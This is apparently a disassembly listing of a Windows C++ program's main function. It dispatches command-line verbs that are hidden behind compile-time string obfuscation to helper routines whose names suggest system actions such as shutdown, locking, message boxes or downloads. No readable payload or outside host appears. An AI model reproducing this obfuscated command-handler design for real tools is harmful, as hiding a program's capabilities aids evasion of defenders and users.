lea rax, [rbp + 0x3590]
mov rdx, rax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
lea rax, [rbp + 0x3590]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov ebx, dword [rbp + 0x3d1c]
jmp 0x231958bb3
cmp dword [rbp + 0x3dd0], 5
jle 0x231957d17
lea rax, [rbp + 0x35bf]
mov rcx, rax
call method.main.lambda__168::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_4ull__7874904158531341675ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x3dd8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x231957d17
mov eax, 1
jmp 0x231957d1c
mov eax, 0
test al, al
je 0x231957e3d
mov rax, qword [rbp + 0x3dd8]
add rax, 0x10
mov rax, qword [rax]
movzx eax, byte [rax]
cmp al, 0x30
setne al
movzx eax, al
mov dword [rbp + 0x3d30], eax
mov rax, qword [rbp + 0x3dd8]
add rax, 0x18
mov rax, qword [rax]
movzx eax, byte [rax]
cmp al, 0x30
setne al
movzx eax, al
mov dword [rbp + 0x3d2c], eax
mov rax, qword [rbp + 0x3dd8]
add rax, 0x20
mov rax, qword [rax]
movzx eax, byte [rax]
cmp al, 0x30
setne al
movzx eax, al
mov dword [rbp + 0x3d28], eax
mov rax, qword [rbp + 0x3dd8]
add rax, 0x28
mov rax, qword [rax]
movzx eax, byte [rax]
cmp al, 0x30
setne al
movzx eax, al
mov dword [rbp + 0x3d24], eax
mov r8d, dword [rbp + 0x3d24]
mov ecx, dword [rbp + 0x3d28]
mov edx, dword [rbp + 0x3d2c]
mov eax, dword [rbp + 0x3d30]
mov r9d, r8d
mov r8d, ecx
mov ecx, eax
call sym.f_exsh_int__int__int__int_
mov dword [rbp + 0x3d20], eax
mov eax, dword [rbp + 0x3d20]
mov edx, eax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::ostream.operator___int_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov edx, dword [rbp + 0x3d20]
lea rax, [rbp + 0x35c0]
mov rcx, rax
call sym.f_errstr_abi:cxx11__unsigned_long_
lea rax, [rbp + 0x35c0]
mov rdx, rax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
lea rax, [rbp + 0x35c0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov ebx, dword [rbp + 0x3d20]
jmp 0x231958bb3
cmp dword [rbp + 0x3dd0], 1
jle 0x231957e81
lea rax, [rbp + 0x35ef]
mov rcx, rax
call method.main.lambda__169::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_4ull__10026454786870551913ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x3dd8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x231957e81
mov eax, 1
jmp 0x231957e86
mov eax, 0
test al, al
je 0x231957f65
mov rax, qword [rbp + 0x3dd8]
add rax, 0x10
mov rdx, qword [rax]
lea rax, [rbp + 0x35f0]
mov rcx, rax
call sym.f_rf_abi:cxx11__char_const_
lea rax, [rbp + 0x35f0]
mov rdx, rax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
lea rax, [rbp + 0x35f0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov dword [rbp + 0x3d34], eax
mov eax, dword [rbp + 0x3d34]
mov edx, eax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::ostream.operator___int_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov edx, dword [rbp + 0x3d34]
lea rax, [rbp + 0x3610]
mov rcx, rax
call sym.f_errstr_abi:cxx11__unsigned_long_
lea rax, [rbp + 0x3610]
mov rdx, rax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
lea rax, [rbp + 0x3610]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov ebx, dword [rbp + 0x3d34]
jmp 0x231958bb3
cmp dword [rbp + 0x3dd0], 2
jle 0x231957fa9
lea rax, [rbp + 0x3633]
mov rcx, rax
call method.main.lambda__170::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__10191988562017637333ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x3dd8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x231957fa9
mov eax, 1
jmp 0x231957fae
mov eax, 0
test al, al
je 0x231958296
lea rax, [rbp + 0x3634]
mov rcx, rax
call method.main.lambda__171::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__107919037912660823ull__char_.operator_char__
mov qword [rbp + 0x3d60], rax
lea rax, [rbp + 0x3635]
mov rcx, rax
call method.main.lambda__172::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_7ull__10769537723210232297ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x3dd8]
add rax, 0x10
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
sete al
test al, al
je 0x231958030
lea rax, [rbp + 0x3636]
mov rcx, rax
call method.main.lambda__173::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_7ull__265544554981471715ull__char_.operator_char__
mov qword [rbp + 0x3d60], rax
jmp 0x231958198
lea rax, [rbp + 0x3637]
mov rcx, rax
call method.main.lambda__174::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_7ull__9220873557729037715ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x3dd8]
add rax, 0x10
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
sete al
test al, al
je 0x23195808c
lea rax, [rbp + 0x3638]
mov rcx, rax
call method.main.lambda__175::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_7ull__1694346727550301569ull__char_.operator_char__
mov qword [rbp + 0x3d60], rax
jmp 0x231958198
lea rax, [rbp + 0x3639]
mov rcx, rax
call method.main.lambda__176::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_7ull__14385028931663682311ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x3dd8]
add rax, 0x10
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
sete al
test al, al
je 0x2319580e8
lea rax, [rbp + 0x363a]
mov rcx, rax
call method.main.lambda__177::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_7ull__8288166681396484943ull__char_.operator_char__
mov qword [rbp + 0x3d60], rax
jmp 0x231958198
lea rax, [rbp + 0x363b]
mov rcx, rax
call method.main.lambda__178::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_10ull__10660006812182062479ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x3dd8]
add rax, 0x10
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
sete al
test al, al
je 0x231958141
lea rax, [rbp + 0x363c]
mov rcx, rax
call method.main.lambda__179::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_10ull__6557621169833756033ull__char_.operator_char__
mov qword [rbp + 0x3d60], rax
jmp 0x231958198
lea rax, [rbp + 0x363d]
mov rcx, rax
call method.main.lambda__180::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_10ull__4020541887773534059ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x3dd8]
add rax, 0x10
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
sete al
test al, al
je 0x231958198
lea rax, [rbp + 0x363e]
mov rcx, rax
call method.main.lambda__181::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_10ull__16214488728878003119ull__char_.operator_char__
mov qword [rbp + 0x3d60], rax
mov dword [rbp + 0x3d5c], 0
cmp dword [rbp + 0x3dd0], 3
jle 0x2319581e6
lea rax, [rbp + 0x363f]
mov rcx, rax
call method.main.lambda__182::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_3ull__16797106274148277591ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x3dd8]
add rax, 0x18
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x2319581e6
mov eax, 1
jmp 0x2319581eb
mov eax, 0
test al, al
je 0x2319581f9
mov dword [rbp + 0x3d5c], 1
mov rax, qword [rbp + 0x3dd8]
add rax, 0x10
mov rax, qword [rax]
mov ecx, dword [rbp + 0x3d5c]
mov rdx, qword [rbp + 0x3d60]
mov r8d, ecx
mov rcx, rax
call sym.f_dpf_char__char_const__int_
mov dword [rbp + 0x3d38], eax
mov eax, dword [rbp + 0x3d38]
mov edx, eax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::ostream.operator___int_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov edx, dword [rbp + 0x3d38]
lea rax, [rbp + 0x3640]
mov rcx, rax
call sym.f_errstr_abi:cxx11__unsigned_long_
lea rax, [rbp + 0x3640]
mov rdx, rax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
lea rax, [rbp + 0x3640]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov ebx, dword [rbp + 0x3d38]
jmp 0x231958bb3
cmp dword [rbp + 0x3dd0], 2
jle 0x2319582da
lea rax, [rbp + 0x366f]
mov rcx, rax
call method.main.lambda__183::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__2114817593833674051ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x3dd8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x2319582da
mov eax, 1
jmp 0x2319582df
mov eax, 0
test al, al
je 0x23195845c
lea rax, [rbp + 0xcb0]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
call rax
lea rax, [rbp + 0x36bf]
mov qword [rbp + 0x3890], rax
nop
nop
mov rax, qword [rbp + 0x3dd8]
add rax, 0x10
mov rdx, qword [rax]
lea rcx, [rbp + 0x36bf]
lea rax, [rbp + 0x3690]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x36ef]
mov qword [rbp + 0x3888], rax
nop
nop
lea rcx, [rbp + 0x36ef]
lea rdx, [rbp + 0xcb0]
lea rax, [rbp + 0x36c0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x3670]
lea rcx, [rbp + 0x3690]
lea rdx, [rbp + 0x36c0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x3670]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
call sym.f_swp_void_
mov dword [rbp + 0x3d3c], eax
lea rax, [rbp + 0x3670]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x36c0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x36ef]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x3690]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x36bf]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
mov eax, dword [rbp + 0x3d3c]
mov edx, eax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::ostream.operator___int_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov edx, dword [rbp + 0x3d3c]
lea rax, [rbp + 0x36f0]
mov rcx, rax
call sym.f_errstr_abi:cxx11__unsigned_long_
lea rax, [rbp + 0x36f0]
mov rdx, rax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
lea rax, [rbp + 0x36f0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov ebx, dword [rbp + 0x3d3c]
jmp 0x231958bb3
cmp dword [rbp + 0x3dd0], 2
jle 0x2319584a0
lea rax, [rbp + 0x371e]
mov rcx, rax
call method.main.lambda__184::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__3387623736414782891ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x3dd8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x2319584a0
mov eax, 1
jmp 0x2319584a5
mov eax, 0
test al, al
je 0x2319585a1
mov dword [rbp + 0x3d58], 0
cmp dword [rbp + 0x3dd0], 3
jle 0x2319584fb
lea rax, [rbp + 0x371f]
mov rcx, rax
call method.main.lambda__185::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_6ull__10655360558745767299ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x3dd8]
add rax, 0x18
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x2319584fb
mov eax, 1
jmp 0x231958500
mov eax, 0
test al, al
je 0x23195850e
mov dword [rbp + 0x3d58], 1
mov rax, qword [rbp + 0x3dd8]
add rax, 0x10
mov rax, qword [rax]
mov edx, dword [rbp + 0x3d58]
mov rcx, rax
call sym.f_ssd_char_const__int_
mov dword [rbp + 0x3d40], eax
mov eax, dword [rbp + 0x3d40]
mov edx, eax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::ostream.operator___int_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov edx, dword [rbp + 0x3d40]
lea rax, [rbp + 0x3720]
mov rcx, rax
call sym.f_errstr_abi:cxx11__unsigned_long_
lea rax, [rbp + 0x3720]
mov rdx, rax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
lea rax, [rbp + 0x3720]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov ebx, dword [rbp + 0x3d40]
jmp 0x231958bb3
cmp dword [rbp + 0x3dd0], 1
jle 0x2319585e5
lea rax, [rbp + 0x374f]
mov rcx, rax
call method.main.lambda__186::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__15502805724409844201ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x3dd8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x2319585e5
mov eax, 1
jmp 0x2319585ea
mov eax, 0
test al, al
je 0x231958673
mov ecx, 0
call sym.f_lws_int_
mov dword [rbp + 0x3d44], eax
mov eax, dword [rbp + 0x3d44]
mov edx, eax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::ostream.operator___int_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov edx, dword [rbp + 0x3d44]
lea rax, [rbp + 0x3750]
mov rcx, rax
call sym.f_errstr_abi:cxx11__unsigned_long_
lea rax, [rbp + 0x3750]
mov rdx, rax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
lea rax, [rbp + 0x3750]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov ebx, dword [rbp + 0x3d44]
jmp 0x231958bb3
cmp dword [rbp + 0x3dd0], 4
jle 0x2319586b7
lea rax, [rbp + 0x377f]
mov rcx, rax
call method.main.lambda__187::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_4ull__16708697223887261953ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x3dd8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x2319586b7
mov eax, 1
jmp 0x2319586bc
mov eax, 0
test al, al
je 0x231958797
lea rax, [rbp + 0x37ad]
mov qword [rbp + 0x3880], rax
nop
nop
mov rax, qword [rbp + 0x3dd8]
add rax, 0x20
mov rdx, qword [rax]
lea rcx, [rbp + 0x37ad]
lea rax, [rbp + 0x3780]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x3780]
mov r8d, 0xa
mov edx, 0
mov rcx, rax
call method.std::__cxx11.stoul_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__unsigned_long_long__int_
mov ecx, eax
mov rax, qword [rbp + 0x3dd8]
add rax, 0x18
mov rdx, qword [rax]
mov rax, qword [rbp + 0x3dd8]
add rax, 0x10
mov rax, qword [rax]
mov r8d, ecx
mov rcx, rax
call sym.f_mbx_char_const__char_const__unsigned_int_
mov dword [rbp + 0x3d48], eax
lea rax, [rbp + 0x3780]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x37ad]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
mov eax, dword [rbp + 0x3d48]
mov edx, eax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::ostream.operator___int_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov ebx, dword [rbp + 0x3d48]
jmp 0x231958bb3
cmp dword [rbp + 0x3dd0], 4
jle 0x2319587db
lea rax, [rbp + 0x37ae]
mov rcx, rax
call method.main.lambda__188::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__18089213090300133215ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x3dd8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x2319587db
mov eax, 1
jmp 0x2319587e0
mov eax, 0
test al, al
je 0x231958926
mov dword [rbp + 0x3d54], 0
cmp dword [rbp + 0x3dd0], 5
jle 0x231958836
lea rax, [rbp + 0x37af]
mov rcx, rax
call method.main.lambda__189::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_3ull__6733212761825546189ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x3dd8]
add rax, 0x28
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x231958836
mov eax, 1
jmp 0x23195883b
mov eax, 0
test al, al
je 0x231958849
mov dword [rbp + 0x3d54], 1
lea rax, [rbp + 0x37de]
mov qword [rbp + 0x3878], rax
nop
nop
mov rax, qword [rbp + 0x3dd8]
add rax, 0x20
mov rdx, qword [rax]
lea rcx, [rbp + 0x37de]
lea rax, [rbp + 0x37b0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x37b0]
mov r8d, 0xa
mov edx, 0
mov rcx, rax
call method.std::__cxx11.stoul_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__unsigned_long_long__int_
mov ecx, eax
mov rax, qword [rbp + 0x3dd8]
add rax, 0x18
mov rdx, qword [rax]
mov rax, qword [rbp + 0x3dd8]
add rax, 0x10
mov rax, qword [rax]
mov r8d, dword [rbp + 0x3d54]
mov r9d, r8d
mov r8d, ecx
mov rcx, rax
call sym.f_mbxs_char__char__unsigned_int__int_
mov dword [rbp + 0x3d4c], eax
lea rax, [rbp + 0x37b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x37de]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
mov eax, dword [rbp + 0x3d4c]
mov edx, eax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::ostream.operator___int_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov ebx, dword [rbp + 0x3d4c]
jmp 0x231958bb3
cmp dword [rbp + 0x3dd0], 3
jle 0x23195896a
lea rax, [rbp + 0x37df]
mov rcx, rax
call method.main.lambda__190::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_4ull__16669895194167966181ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x3dd8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x23195896a
mov eax, 1
jmp 0x23195896f
mov eax, 0
test al, al
je 0x231958ab0
lea rax, [rbp + 0x380f]
mov qword [rbp + 0x3870], rax
nop
nop
mov rax, qword [rbp + 0x3dd8]
add rax, 0x18
mov rdx, qword [rax]
lea rcx, [rbp + 0x380f]
lea rax, [rbp + 0x37e0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x383f]
mov qword [rbp + 0x3868], rax
nop
nop
mov rax, qword [rbp + 0x3dd8]
add rax, 0x10
mov rdx, qword [rax]
lea rcx, [rbp + 0x383f]
lea rax, [rbp + 0x3810]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rdx, [rbp + 0x37e0]
lea rax, [rbp + 0x3810]
mov rcx, rax
call sym.f_dwc_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
mov dword [rbp + 0x3d50], eax
lea rax, [rbp + 0x3810]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x383f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x37e0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x380f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
mov eax, dword [rbp + 0x3d50]
mov edx, eax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::ostream.operator___int_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov edx, dword [rbp + 0x3d50]
lea rax, [rbp + 0x3840]
mov rcx, rax
call sym.f_errstr_abi:cxx11__unsigned_long_
lea rax, [rbp + 0x3840]
mov rdx, rax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
lea rax, [rbp + 0x3840]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov ebx, dword [rbp + 0x3d50]
jmp 0x231958bb3
cmp dword [rbp + 0x3dd0], 1
jle 0x231958af4
lea rax, [rbp + 0x3865]
mov rcx, rax
call method.main.lambda__191::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_3ull__17142698346209727339ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x3dd8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x231958af4
mov eax, 1
jmp 0x231958af9
mov eax, 0
test al, al
je 0x231958b07
mov ebx, 0
jmp 0x231958bb3
cmp dword [rbp + 0x3dd0], 1
jle 0x231958b73
mov rax, qword [rbp + 0x3dd8]
add rax, 8
mov rax, qword [rax]
lea rdx, [0x231f5e034]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x231958b73
lea rax, [rbp + 0x3866]
mov rcx, rax
call method.main.lambda__192::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_31ull__6887449995793377099ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov ebx, 0
jmp 0x231958bb3
lea rax, [rbp + 0x3867]
mov rcx, rax
call method.main.lambda__193::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_2ull__13058709557800552841ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
call sym.abort
mov eax, ebx
jmp 0x23195ace0
add rsp, 0x3e38
pop rbx
pop rbp
ret